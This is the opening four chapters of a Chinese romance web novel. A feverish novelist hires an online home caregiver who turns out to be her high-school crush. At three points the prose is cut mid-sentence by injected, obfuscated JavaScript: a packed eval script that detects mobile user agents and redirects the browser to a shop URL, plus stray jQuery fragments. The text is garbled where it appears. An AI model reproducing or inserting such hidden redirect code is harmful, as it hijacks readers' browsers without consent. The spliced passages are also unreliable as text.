《荔枝甜不甜》 1. 第 1 章 “那就这样,你再想想怎么改吧。”方巧泽似乎要忙了,匆匆说了句就挂了电话。 利知放下手机,侧过头望向窗外,此时外面一片迷蒙,雨水把窗玻璃打得噼啪响。 这夏日的天气真是变幻莫测,方巧泽来电话的时候还烈日当空的,结果没一会雨就唰唰地下了起来。 她把视线收回,重新落在电脑上,右手食指娴熟地点着鼠标,打开文档,当看到那个熟悉到能倒背如流的大纲时,头顿时有种炸裂的痛。 算上这次,已经是被出版商退的第四版大纲了。 利知都要怀疑,那边的人是不是改她的大纲改成精了,之前的三次都是些不痛不痒的有待改进,这次却是一针见血般的。 说这本与前几本的人物性格相似,甜是甜,就是情节平平,冲突不够,没有让人眼前一亮的地方。 这也是方巧泽打电话来叮嘱一番的原因。 用她刚才的话说,一直追文的读者都已经从象牙塔走出来了,她们在社会历练过,简单的小甜文已经不能满足她们了,她们想看女主有更丰富多姿的人生,还有极限拉扯的CP感。 可是利知这么一个零社会经验,零恋爱经验的作者,去哪弄来的丰富多姿呢! 她叹了一口气,结果自己被自己顿住了。 ——怎么呼出来的气都是热的! 她连忙从抽屉里拿出体温计,甩了甩,塞进胳肢窝下夹住。 几分钟的等待里也没闲着,纤细的手指在鼠标和键盘上轻轻摁点着,两眼无神地盯着电脑里的文档。 真的是!里面的字,连同标点符号都能将她的神经麻木。 十分钟后,取出温度计一看,人马上来精神了。 38.7! 她马上找了个能清楚显示刻度的角度,拍了张照片,发给方巧泽。 [呜呜呜泽姐,我现在头痛发热,全身无力,不行了不行了呜呜呜] 方巧泽虽是人工催更小能手,对作者的身体也是极其关心的,于是叫利知先好好休息,一周后再交新大纲,至于出版商那边,她来应付就好。 利知舒了一口气,心情却没多放松。 就算有一周时间,她也雕不出什么花来,要知道,前面那三版,前前后后蹉磨了她近两个月了…… 算了算了,不要想工作,现在她最需要的是安慰! 于是强行振作起来,找到相亲相爱一家人的群聊,把温度计照片发过去。 [家人们,我发烧了/大哭] 利洛那边停电了,才冒泡说正无聊中,一见利知说生病了,支棱劲隔着屏幕都能感受到。 利洛不干脆: [哟呵,居里小姐终于有了人间烦恼了] [恭喜恭喜!] 还顺手发了个红包,还欠揍地备注“普天同庆”。 利知住的小区叫幸福里,她又常年居家写小说,鲜少出门,利洛总是调侃她是隐居在幸福里的小姐姐,简称居里小姐。 利知已经不记得从什么时候开始,利洛不叫她姐,改叫居里小姐了。 至于他那狗嘴吐不出象牙的行径,她也早已免疫了。 就凭每回请她吃东西永远不超过二十元的抠搜气,对他发的红包,她一点都不感兴趣! [点开啊] [一点小心意] 见利知岿然不动,又补充了句,[不点后悔] 利知嗤笑了一声,她倒要看看,利洛的“小心意”到底有没有下限。 点开。 0.01。 暗骂自己手贱。 利洛不干脆:[我把钱包余额抹零了哈哈哈] 真搞不懂,世上怎么有弟弟这种生物。 是知知呀:[谢谢大包/微笑/微笑] [顺便祝你每科都差0.01及格] 利洛不干脆:[居里小姐连文字都能放毒] 温女士适时出来,@了利洛就是一阵锤子打,然后一通怒吼输出: “臭小子,有时间损你姐,不如好好看书。” “要是有一科不及格,之后每个月的生活费减半!” 利洛马上服了软,“别别别母上大人!小的这就凿壁借光去!” 哈哈!还是温女士给力!妥妥拿捏住了。 温女士关爱的电话适时打进来了,问利知要不要紧,有没发烧,备的药够不够,还叮嘱接下来一周的注意事项。 都说世上只有妈妈好,诚不欺人呜呜呜。 利知顿时感动得一塌糊涂,鼻子酸酸地应和着。 “我说的都给我刻进脑子里!你小时候有过发烧惊厥,又试过烧到自己打120……” 温女士越想越不放心,“哎不行,要不我回去吧。” 利知哭笑不得,“等你从瓜亚基尔回来,我也退烧啦。” 温女士沉默一会,开口道:“那要不,我叫一个人来照看你?” 利知心中顿生一种不好的预感。 “我听你林阿姨说她儿子是个医生,”温女士自顾自说,“那孩子我视频里见过,各方面都挺不错的,和你年纪又相仿,我跟你林阿姨说一声,让她儿子有空就来照看你吧。” 利知以为自己幻听了,“叫林阿姨的儿子,来照顾我?” “是呀。” “可我不认识他啊。” “处处不就认识了嘛。” 嗯,好有灵气“处处”。 温女士是趁她病,要了她单身的快乐。 说好的世上只有妈妈好呢! 利知暗自腹诽,脸上笑嘻嘻的,“晓莱说要来照顾我啦,妈你就不用担心了。” 以她对温女士二十多年来的了解看,在这种事上争执过多,吃亏的还是自己,还不如睁着眼瞎编呢。 她又说:“我一女孩子在家,还是叫女孩照顾方便一点的。” “真是一点都不开窍。”温女士恨铁不成钢,“天天待家里,见的男人除了外卖员还有谁?这下病了,外卖员能带给你一口饭,还指望人家照顾你不成?” “是是是……嗯,我吃的药还得靠外卖员送呢……” 半哄半就外加保证自己一有不舒服就告知,温女士才挂了电话。 握着发热的手机,利知变得恹恹了,一把跌进沙发里。 利知从小就和温女士和利洛,跟随爸爸的工作变动而居,利爸爸在利知初二的时候被派去了国外,温女士和利洛也跟着出国了。 利知则独自回栗城读书,因为爸妈不放心她住宿,便让利知寄住在利知姑姑家。 后来高中就读的学校在家附近,利知坚持自己一个人也可以,于是在家人的同意下开启独居生活。 独居的生活还是挺自由的,就是生病了身边没个搭把手的人,难免诸多不便。 大三暑假利知躲房间里没日没夜地码字,最终病倒了,烧到迷迷糊糊的时候,是自己打了120的。 这件事还是被温女士知道了,利知还苦哈哈躺在病床上的时候,被温女士打电话来痛骂一顿,后来骂人的温女士还哭了起来。 那次的事,再加上利知小时候惊厥过的事,造成她一听利知生病了,就如惊弓之鸟。 正因如此,利知才会糊弄说高晓莱照顾她。 其实高晓莱比她还惜命,经过病毒的侵扰,只要身边的人一有发烧感冒的,立马口罩消毒液伺候着。 利知哪里请得动她呀。 要不,请个人照顾? 利知点开小黄鱼网,输入上门照顾的关键词,而后逐个看起来。 还别说,这年头陪护行业也是百花齐放的。 男的女的,老的少的,敦厚老实的,美艳动人,帅气绝伦的,住家的不住家的,甚至还有只做饭不洗碗的…… 啊啊啊啊越看越眼花缭乱。 利知顶着越来越沉重的脑袋,麻木地刷着,心想着实在不行,不找人了,把120设成快捷电话好了。 忽地,被一抹蓝色吸引了注意力,那是一张蓝色底的免冠照头像。 利知用力眨了眨眼,又揉了揉眼睛,不可置信过后,犹疑着点了进去。 照片上的人漆发浓眉,有着英气逼人的五官。 要说这是一张正式的免冠照吧,那人偏生了一对惹人的桃花眼;唇角微微勾着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713172|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明明是带着雅痞的浅笑,却给人一种深情的错觉,仿佛只需一眼就能把看照片的人的心魂都勾走。 利知压抑着狂跳的心,再看向昵称。 ——蒋星尧。 名字和那张脸,都对上了! 是她高中时的男神! [本人男,可上门照顾,洗衣做饭,一日三餐,住家200/天,不住家300/天] 就,离谱! 住家比不住家还便宜。 男神已经沦落到,差个落脚地了? 更夸张的是,“想要”那里已经248个人。 她和蒋星尧高中三年同级不同班,要说两人最大的瓜葛就是两人的班级挨在一起。 可以说,她和蒋星尧是熟悉的陌生人。奈何蒋星尧各方面都出众,成绩好之外,开朗爱笑人缘好,篮球又打得好,尤其那张可正可邪的脸,完美长在了青春少女们的审美上。 就她知道的,她的班里就好几个女生喜欢他了。 她曾听班里的女生聊起蒋星尧,说他家里好像是做医药生意的。 按现在医药行业的火爆程度,公司倒闭的可能性不大吧,那怎么还有时间上照顾人了? 思来想去,还是男神被盗图的可能性最大。 利知支棱起来,点进去私聊:[你好,请问接单吗?] 对方神回复:[接的!!!] 这回复,这速度,绝对专业! 利知犹豫了几秒,问:[请问,实物和图片相符的吗?] 这次对方迟迟没回,是不是盗图心虚了? 是知知呀:[不能保证是吗?] [拿别人的肖像招揽生意,可是违法的] 要是没遇到也就算了,偏给她看见了,盗的还是男神的图,那绝不能袖手旁观! 对方回复了:[您先别着急,我正在导入证件,稍后发您看看] 没一会,对方发了一张打了水印的身份证照片。 名字和照片,赫然是蒋星尧! 利知忿然:[连身份证也盗了?!] 对方发了个哭笑不得的表情,[有没有一种可能,就是本人呢] 对方又说:[资料绝对真实的,您可以看看我的信用值。] [不是要□□的嘛,要是不满意您可以当场退单的] [一切和描述不符的,我这边一概不收钱!] 利知默了默,依然有许许多多的疑问,可目前她最关心的是:[你,真的是蒋星尧?] 这次过了好一会,对方才回复了一个“嗯”字。 利知对这个单字回复并不满意,并不是说非要蒋星尧不可,只是对那种挂羊头卖狗肉的买卖反感。 她都发烧了,如果真的下单了,对于退单退钱再找另一个人这种事,折腾不起了。 这时对话框跳出一条语音。 利知盯着那条语音好几秒才点开。 “如假包换。”那语气不疾不徐,吐字间带着诚恳,“包换真的来。” 如假包换。 多掷地有声的保证! 但最有力的自证,是那把如山涧潺潺流水般的声音。 就算过去他们之间没有过多少对话,但蒋星尧的声音,好像在她脑海里安装了自动辨识系统,能越过电波障碍,辨认出来。 利知终于可以确定—— 男神真的从火爆的医药业转行到做起了同样火爆的——专业陪护! 她的心情顿时复杂起来。 那可是男神啊! 利知正心神飘忽着,对方发来文字: [要么?] [陪护] 利知稍微思忖了下,一开始点进来,就是为证实是不是蒋星尧本人。 现在证实了,那—— 肯定要啊啊啊! 冷静冷静!先拎清时间合不合适。 是知知呀:[今天可以来吗?] [可以] 利知嘴角上扬,内心有压制不住的雀跃,输出的文字却带着克制的矜持: [那就麻烦你了] [今天开始,住家,一星期!!] 2. 第 2 章 利知加了蒋星尧的微信,把定位发了过去,再抬头看外面,雨已经停了,天也放晴了。 她放下手机,又拿起来,如此重复两遍过后,竟然不知道自己要拿手机来干嘛。于是在屋里来回踱步,如一只热锅的蚂蚁,直到转到镜子前,看到镜中的自己,她才找到那股不对付感。 高晓莱总说,利知的五官并不出众,单独特写一个部位,并不算惊艳,但整张脸去看,给人一种舒适柔和的感觉。 可此时脸色苍白了很多,月牙般的眼失了些光彩,唇色也变得淡白。这么一看,整张脸多了几分赢弱无力。 因为今天都没出门,她还穿着睡裙。宽松的直筒睡裙,上面布满不规则的皱痕,如一群随洋流舞动的海草。头发披散,自起床后随便用手梳理一下就算了。 真是,够了! 她连忙跑回房间捣鼓起来,最后穿上一条米色的及膝裙;头发有些蓬松,在两侧各辫了一条鱼骨辫;勉强化个淡妆,唇上涂上浅浅的咬唇粉。 捣腾完回到镜子前再看,整个人的状态还不错,起码不是第一眼就看出是个病患了。 她满意地整理颊边的碎发,忽地想到一个问题。 蒋星尧会认出她吗? 单凭高中做了三年熟悉的陌生人,蒋星尧也许不知道利知是何许人物,加之现在的她和高中时是两个样,那时没现在高,身形也微胖,认不出也正常。 可两年前的校庆宴上,他们作为杰出校友出席,坐在同一桌。 当时利知刚卖了一本小说的影视版权,这事不知怎的被高中时的语文老师徐清岚知道了。 利知到现在都想不明白,那一向严肃老派的徐老师,看了她的无脑甜,还带点小涩涩的小说,还能热情高涨地说利知给她的教学生涯涂上了浓重的一笔。 利知听了大气都不敢出,生怕那浓重的一笔全是黄色的。 之后徐清岚把利知的名字塞进了杰出校友的名单里。校庆上利知全程被徐清岚带着,逢人就介绍利知,连晚宴也带着身边。 当时蒋星尧就坐在徐清岚的另一边。 蒋星尧全程都没怎么说话,不主动找人,有人过来找就浅笑着回应。 不知道是不是长大了,人会不同程度地变成熟。利知觉得,那个时候的蒋星尧,眉宇间多了几分疏淡,还夹杂着几分颓唐。 * 门铃适时响起,利知小跑出去,握住门把手,深呼吸一口,嚯地拉开门。 逆光下站着一道颀长的身影,身两侧分别立着箱子。 他一身简便装,整个人挺拔从容,又清朗如皓月。刘海微分碎盖,恰恰露出浓色的眉头。浅蓝色的口罩遮住了大半的脸,逆光中蒙上了一层不真实感,但依稀能辨出,那双眼泛着笑意。 “嗨,知知,我是蒋星尧。” 低沉的嗓音盈着笑意,如潺潺流水般,萦绕耳边,延绵,不息。 利知的身体恍了恍,把全身的力气都卸在门上,直勾勾地盯着眼前的人,“你你你叫我什么?” “知知啊,”蒋星尧挑了下眉,“你的昵称不是叫‘是知知呀’吗?” “是哦……”利知讪笑着,“我病糊涂了哈哈,知知是我的小名,一时没反应过来。” 叫她小名的大都身边比较亲近的人,彼时从蒋星尧嘴里吐出,她有点飘忽忽的,分不清东西南北了。 “原来是小名啊。”蒋星尧笑看着她,“那我以后可以叫你知知吗?” “可以可以的!”利知应着边挪过步子,侧身贴着门边,请他进来。 “等等。”蒋星尧忽然说。 利知抬头看,蒋星尧微笑着,修长的手指向上一划,缓缓取下口罩。 白皙的脸庞,微微上扬的嘴角,一笑时眼里勾人的光简直要呼之欲出,又因为五官生得立体俊朗,敛去那过分夺目的妖冶,中和之后,更显得不羁和雅痞。 “知知啊,”蒋星尧垂下头紧盯着她,低笑着问,“实物和图片,相符吗?” 带着笑意的语调戏谑又懒散,让问出的话语少了一本正经,多了些轻佻。 利知的脸微热起来,原来是回应她网上的质疑,顿时不好意思起来了,“符,相符的!” 何止相符,简直比图片还要好看! 利知解释道:“就突然看到你的照片在小黄鱼上,还以为你的照片被盗了,所以才……” “你这么做是对的,女孩子找陪护是要谨慎一点。”蒋星尧把两个行李箱推到一边,斜斜地倚着门框。 “既然没异议,那——”他歪着头看向利知,嘴角含着蛊人的笑意,“收不收货啊?” 收!必须立刻马上收! 利知对着手机一顿行云流水般的操作,然后把手机界面展示给蒋星尧,“我收货了。” 头顶响起愉悦的笑声。 利知的脸更加热了。就,显得她很猴急。 蒋星尧进了门,环视了一圈便问:“你一个人住吗?” “是的呢。”利知低着头,“我带你去房间吧。” 一个没注意碰到了他带来的行李箱,箱子紧挨着,像多米诺骨牌般,另一个也被推了出去。 利知弯腰按住一个,又手忙脚乱去抓另一个,但隔太远了,抓不着。 一条长腿一伸,轻松把行李箱挨到一起。 “抱歉啊,”手忙脚乱的是利知,他反而不好意思起来了,“行李有点多。” 利知讪笑着直起身,“没事啦。” 眼尾一扫,她才留意到其中一个箱子上,还挂着一个不大不小的黑色箱子。 蒋星尧取下上面的小黑箱子,又把下面的行李箱放平,拉开。 利知凑过去一看,眼都直了,里面居然是小型扫地机器人,还有消毒用品,还有些她叫不出来名字的东西。 她还没来得及震惊完,蒋星尧又把黑色箱子放茶几上,打开。她才知道这是个药箱,里面的药品琳琅齐全。 “这里退烧药、止咳药都有。”蒋星尧说,“清洁用品和医药箱就放这里吧。” “好呢。”利知应着,眼睛紧盯着黑色的医药箱。 刚才没仔细看,原来箱子正面有个醒目的红色十字标,右上角的logo是Armanni。 原谅她的关注点不对,可她第一次见阿玛尼的医药箱呢! 她下意识地伸手去摸了一下外表,嗯,质量顶好! 三个箱有两个是工具箱,陪护都是那么专业的吗? 利知内心正嘀咕着,眼前忽然一晃,一只大手覆在她的额头上。 她怔了一下,还没来得及反应,手已经撤离。 “发烧了。”他低声说。 “啊是的是的。” “还有哪里不舒服吗?”蒋星尧说这话的时候特地弯下腰,与利知平视,那双眼带着显而易见的关切。 不知道是不是生病的原因,眼前的人忽而清晰可见,忽而朦胧难辨,利知恍恍惚惚地回道:“就,头晕眼花。” 以前生病可没试过这样的。看来,这次病不轻了。 * 利知下午四点多就退烧了,就是喉咙开始痛,头还有股钝痛感,精神倒是还可以。 此时她坐在厨房边上的高脚凳上,手支在吧台上,脚悬空摇晃着,就这么看着在厨房里忙碌的人。 这可是蒋星尧在她家里,做的第一顿饭呢。 他的身形挺拔,纯白的短袖一尘不染,十指修长,瓜菜在他的指间,仿佛成了价值连城的翡翠。 就连随意拎刀的动作,都透着一股王者的矜贵。 只见刀在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713173|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他指间来回转了几下,那刀光差点要闪瞎利知的眼。 好刀技! 紧接着手起刀落,切出了一块不规则的猪肉。 利知以为他只是试刀,没曾想他三两下,一块块不规则的猪肉安静地躺着。 不,那块头称之为——猪排? 然后,他把刀放下。没下文了。 “那个,我们是煮粥的嚯?”利知出声问。 “嗯哼。”蒋星尧答得轻描淡写。 “那个,我喉咙痛呢,”利知皱着眉头,艰难地开口,“不大想吃猪排粥……” 猪排粥? 蒋星尧的表情顿时一言难尽。 利知走进去拉开厨柜,取了碎肉机出来,“用这个吧。” 她往洗手池挪去,正准备要清洗干净,蒋星尧说:“我来吧。” 他把碎肉机洗净,然后——把整块大猪,排塞进去。 “要,要切小块一点,不然打不碎……”利知糯声制止。 * 利知恹恹地在沙发上坐下,是她的错觉吗?怎么感觉蒋星尧更像是一个远庖厨之君子。 她隐隐觉得好像漏掉了什么,一时又想不出个所以然。 头还痛,撑着脑袋揉了揉太阳穴,视线正好触到茶几上,那个安静待着的医药箱,顿时眼睛瞪亮。 是了! 阿玛尼的医药箱,扫地机器人; 高超的刀技,却是超烂的刀工。 这不就是和“差生文具多,喜欢秀文具”的道理一样吗! 那个服务了两百多号人的专业陪护咧?! 不会那两百多个人都是看着那张脸,就能自愈的吧?! 利知又点进小黄鱼网,不得不惊叹大数据是懂人心的,页面清一色的陪护,还都是帅哥! 她随意点开一个,是个唇红齿白的帅哥,样子挺秀气的,就是少了蒋星尧那种有层次感的帅,但胜在履历写得详细好看。 利知正看着,身后传来低缓的声音,“吃饭了。” 她猛地转头,刚好看到蒋星尧的视线,准确无误会地落在她的手机上,随即挑了挑眉,那神色还带着几分揶揄。 利知的视线机械地回到手机上,当看清界面显示之后,满眼死灰。 原来在她转头瞬间,手指不经意划拉下来,那位清秀帅哥的文字介绍下面,居然还附带了一张穿白色背心的对镜自拍照。 穿背心也就算了,还用嘴咬住衣摆,露出那八格小麦色腹肌。 啧,图文并茂也不带这么玩的啊。 不过话说回来,那一块块喷张欲爆的肌肉,真对得起那张秀气的脸吗?! 利知偷偷瞄向蒋星尧,视线不小心落在他的腹部,随即一路向上,最后落进一双黑眸里。 “想看腹肌?”那声音夹了几分笑意。 “不是不是!”利知讪笑着解释,“我是不小心点进来了……” 随即把手机拉远,一脸讨嫌道:“哎呀这个陪护,怎么秀起腹肌了咧!” “找陪护?”蒋星尧收起了笑,“是我哪里不够好吗?” 那语气还有一丢丢的委屈。 “没有,不是的……”再开口觉得喉咙比刚才更干痒了,吐出的字都干哑哑的。 利知清了清嗓子,“我就是,闲的……” 毫无说服力的话一出口,她连忙低下了头。 蒋星尧的手虚搭在沙发背上,还是那副轻松自在的样子。 利知有些尴尬,就像是一只偷腥的猫被人当场抓住了,还嗷嗷地控诉说自己没偷腥。 好吧,她承认她想偷了。 “我要是说……再找个人来照顾,”她的手指在他们之间来回比划,“照顾我和你……” 最后声音如蚊蚁,“你,信吗?” 3. 第 3 章 她是真的这么想,才点开小黄鱼网的。 既然已经请了男神,不会做饭就不会吧,再找个人来买菜做饭就是了。她不差这个钱。 至于蒋星尧,从前在她这里就以一种,精神粮食的存在。 因此,吃饱饭和精神粮食,不冲突的。 想归想,这么个离了谱的陪护方式,估计也没人会信吧! 利知缓缓地低下头,用额头抵住手机。 忽地头顶传来一阵笑声。 “我信啊。”他说。 利知一怔,抬起头。 蒋星尧有着一双含情目,特别是笑着的时候,很深情款款的样子。 她不自在地移开视线。身旁位置一陷,蒋星尧坐了下来。 “这样的话,”蒋星尧闲闲往后靠着,那无处安放的大长腿搭在另一条上,偏着头笑看着她,“我不就成了小白脸了?” 呃,好像越说越乱了。 “不找了。”利知放下手机。 蒋星尧点头应着,“行,我一个能顶几个使了。” “……” “不信?”蒋星尧侧过身正面对着利知,一脸正色,“要不这样,你先试用一天,如果试用后还是不满意,再考虑要不要退货。” “试,试用?” “是啊,”蒋星尧笑着,连声音都带着蛊惑,“免费试用。” “不满意的,可以退货退款的。” “其实不用……”她压根没想过要退货好吧! “客户查看其他陪护,”蒋星尧认真地说,“证明我有做得不够好的地方,我有义务让我的客户发自内心地认可我的。” “好……”好有职业操守,她想说的是。 “好了,”蒋星尧拍了拍她的肩头,站了起来,“先吃饭。” 餐桌上除了粥外还有两个送粥菜:青瓜炒胡萝卜,豆角肉沫。 品相看上去不错,只是利知食欲平平。 “将就着吃点吧。”蒋星尧舀了一碗粥放在利知面前,“明天去买多点材料再做好点的。” “不将就的。”对于长期由外卖小哥投喂的人来说,这顿很不错了。 利知平时很少做饭的,今天的菜肉还是叫的快送。 要去买菜的话,她家附近大的菜市场,在两公里外才有。 男神去菜市场啊…… 利知想象着那副场景,边夹起一片青瓜塞进嘴里,嚼了几口,忽地顿住,又把其他菜夹了一遍。 她抬眼看向对面的人,“都是你做的?” 一句话把蒋星尧问怔住了,随即笑道:“家里还有第三个人?” 利知笑着摇摇头,感叹道:“你做的菜,太好吃啦!” “好吃就多吃点。”蒋星尧对于夸赞像是早已习以为常,舀了一勺子豆角肉沫到她碗里。 呜呜呜男神这么会做菜,她刚才真是脑抽,居然看其他陪护了。 “我要提前结束试用期!”她出声说。 蒋星尧眼睑也没掀,闲闲散散地坚持道:“不,先试用。” “……” 粥还很热,利知呼一下气,再小口小口地吃着。过了一会,听到蒋星尧说:“前段时间见到老徐了,说今年恢复校庆的活动。” 蒋星尧说的老徐就是语文老师徐清岚。好不巧,徐清岚同时教他们两班。 “啊,是吗?”说着把凉了些的粥递进嘴里。 因为疫情这两年没再办校庆了。她和徐清岚自那次校庆后就没联系了,对于今年办校庆的事,她之前也没听说。 “老徐说杰出校友名单按两年前的,再叫上在医院工作的校友,还有参与过支援的医学生。” “那不是很多人?” “是挺热闹的。”蒋星尧问她,“你去吗?” 利知想了想说:“如果徐老师叫,会去的。” 直到现在她都怀疑,把她塞进杰出校友名单这事,是徐清岚当年心血来潮。 其实这么久以来,她也就一本小说卖了影视版权,那之后无论是数据,还是版权大boss似乎都绕她而行。她的收入靠的是高产量,在这一点上,她很感激方巧泽总是化身催更小能手的。 这两年来,她对于杰出校友这个头衔,反而越来越受之有愧了。 不过话又说回来,蒋星尧认出她了! 利知特地瞄了他一眼,见他神色无异。 那大概率,他对这种从同窗到雇佣关系的转变,没有太过尴尬吧? 她一开始还想着,认不出也挺好的,就这么不问过去地做她一周的陪护,可现在他主动提起校庆的事,也算是坦然面对了吧? 这样也好,他不会因为陪护到认识的人而感到别扭,那她也不用太过避嫌了。 其实校庆那晚结束后,还是蒋星尧送她回家的呢。 那顿晚餐徐清岚不断地把她介绍给在场的人,有师兄师姐,还有校领导。利知哪见过这样的场面呀,但凡递杯过来碰一碰,她就一股脑喝,最后喝到飘飘然。徐清岚不放心她,便叫蒋星尧送她回家。 她也是第二天和徐清岚聊天才知道,原来蒋星尧就住在学校附近,为了送她回家绕半个栗城,再回自己家。 两年来他们没过任何联系和交集,她都没能感谢他那晚的仗义送行呢。 这么想着,她释然一笑。 “那晚谢谢你送我回家。”她放下勺子,抬眸看向他,“我也是后来听徐老师说才知道,你绕了很远的路送我呢。” 蒋星尧一笑,“还记得呢。” “记得的。” 她还记得,那次的车费全都是他给的呢。只是隔了那么久再提这事,好像不大好,还不如实诚地道个谢呢。 “好,接受了。”蒋星尧抬眼看向她,明眸皓齿的,看了她好一会,随即无奈一笑,“早知道有今天,两年前就该加你微信了。” 利知一愣,有些拿不准他说这话的意思,是感叹他有朝一日沦为陪护呢,还是延续刚才的话题。 “对了,”他说,“说起感谢,我也要感谢你那天晚上说的那些开导的话呢。” 利知试探性低问:“我都说了什么?” 蒋星尧顿了顿,“不记得了?” 利知讪笑了下,实在不好说那晚她喝多了飘到认为自己一整晚都在语音码字,还是出口成章那种。 蒋星尧了然,随即勾起唇,“很多呢,劝我勇敢面对逆境,和一些肯定我的话。” 利知无奈扶额,所以她一通输出,是对着蒋星尧? “哦,还有啊……” 还有? 利知的心都悬了起来,“还,还有什么?” 蒋星尧的神情变得耐人寻味,“和我回忆起,送我桶装水的事。” “……” 蒋星尧的话如一颗石子,不声不响地划过水面,最后掷的一声坠落平静的湖面,溅起无数的水花。 高中时很多女孩子都喜欢看男孩子打篮球,有蒋星尧的场次尤其多人。 利知也是其中的一员。 只要有比赛,女孩们会自发组成拉拉队为蒋星尧的加油打气,还会准备矿泉水和饮料队员。 按大家的说法,从没见过蒋星尧接过哪个女孩的水。 利知发现蒋星尧有个习惯,打完球喝水总是喝一半,把另一半从头浇下,他每次都会在队友拿够了再拿,有时水不够时,总感觉他浇头也不尽兴。 那是在炎炎夏日的午后,在一次本校主场的校际赛,利知抱了一桶5升桶装水,递给蒋星尧,还很豪气地说:“拿去吧,别客气。” 那时候才高一第一学期,利知并未意识到那份关注意味着什么,单纯觉得大桶装的水浇头也能尽兴,却不想引来了其他人的哗哗声。 “哟嚯——”旁边的队员撅起O型嘴,比着夸张的手势起哄起来,“那么大——桶啊!” 有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13713174|144655||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人撞了下蒋星尧,蒋星尧没说收,也没说不收,只是笑着看她。 利知后知后觉自己的行为太突兀了,忙解释道:“我只是觉得这样浇头更尽兴。要不,还是算……” 她正准备收回去,忽然手里一轻,蒋星尧接过掂了掂,“挺重的啊。” 声音还带着运动过后不稳的气息。 说完他单手拎着桶环,把水甩到肩后,笑看着利知说:“那我不客气了。” 那时正是中场休息,蒋星尧喘着气,额头、鬓边都在滴汗,还笑得痞里痞气的,那双眼本来就勾人,彼时还湿漉漉的,仿佛随时拉出丝来。 利知莫名的心跳加速,后知后觉的她才意识到,原来那份关注和献殷勤,是心动的信号。 * 晚饭后没多久,利知又开始发烧了,这一次比白天的更来势汹汹,哪哪都不舒服,整个人都恹恹的,于是早早上床睡了。 不知道睡了多久,有人推她胳膊,叫她起来吃药。 她坐起来了依然迷迷糊糊的,但知道是蒋星尧给她递水和药,她都依着吃下,又继续睡。 怎知越睡越冷,被子却越来越重,她睁开眼,发现多盖了一张毛毯。 这一觉睡得很不踏实,可能蒋星尧的到来勾起了她的回忆,又梦回到高中的时光。 自送水那次之后,利知没再明面上关心过蒋星尧了,而是转为暗地里。 比如蒋星尧病了请了几天假,回来后脸消瘦,脸色还苍白,利知趁着放学后他们班里没人,便偷溜进去,往他的座位塞一瓶维C,附带上一张小便条。 因为没有署名,连称呼也随意多了: [记得多喝水哦,我的小心肝] 后面还画上两个可爱的心型感叹号。 还有高二那年的校运会,利知帮忙做后勤,被一些器材弄破了手,去校医室处理完,正准备离开,隔壁有人扭伤脚被架进来,听到声音她就知道,受伤的是蒋星尧。 蒋星尧的同学有比赛,送他来就离开了。 接着听到校医说没有冰,先给他开些药,让他回家再敷一下。 利知悄悄离开了校医室,跑去学校小卖部,买了店里最后一袋冰,又跑回校医室。 她并没有当面给蒋星尧,而是放在一处显眼的地方,然后贴着墙站外面,没一会听到校医惊呼了一声,“有人给你送冰了。咦?还有一张纸条。” 校医是一个四十多岁的矮胖男人,他用他那把粗糙的声音把利知写的字一个字一个字读出来。 “小心肝,我对你够好吧!要快点好起来——哟!” 显然这位校医大叔不大擅长用娇憨的语气,在“哟”字的转折音读得僵硬沙哑又别扭。 利知低下头,涨红着脸。 写的时候她在脑海里演练过好几遍。她写字本来就好看,关心的话配上拽拽的字,飒帅飒帅的! 彼时被校医大叔读出来。 僵硬又油腻! 利知逃跑掉了,慌不择路那种。 忽然眼前的画面一转,利知站在自己家里,听到厨房传来声响,蒋星尧正埋着头,背对她站着,看那架势似乎又在和猪排比斗了。 她想也没想跑了过去,抱住他,额头抵住那劲瘦的后背,蹭了蹭说:“呜呜呜我不准别人叫你小心肝!” 然后清晰地感受到那身躯一僵。 半梦半醒间,利知整个人冷成抖筛,牙齿都打起颤。抖了好一会,全身渐渐变暖了,好像整个人被裹进了一个温暖的大水袋里,柔软、温柔。 身体没那么难受了,思绪又开始乱飘。 是不是当年她做了好事不留名,感动了上苍? 好像冥冥之中,命运的齿轮在滚动,把男神送进她家里来了。 大水袋的热能源源不断,利知发出一声舒服的喟叹。 如果真是这样。 那—— 小心肝,你是来报恩的吧? 4. 第 4 章 利知是在咳嗽中醒来的,她抬手摸了摸额头,没烧了,但浑身酸软无力。 床头柜上放着她的杯子,还有保温瓶,她掂了掂,有大半瓶水。 她依稀记得,昨晚蒋星尧进来叫她吃药,估计是怕她半夜起来了口渴,才放保温瓶在床头的。 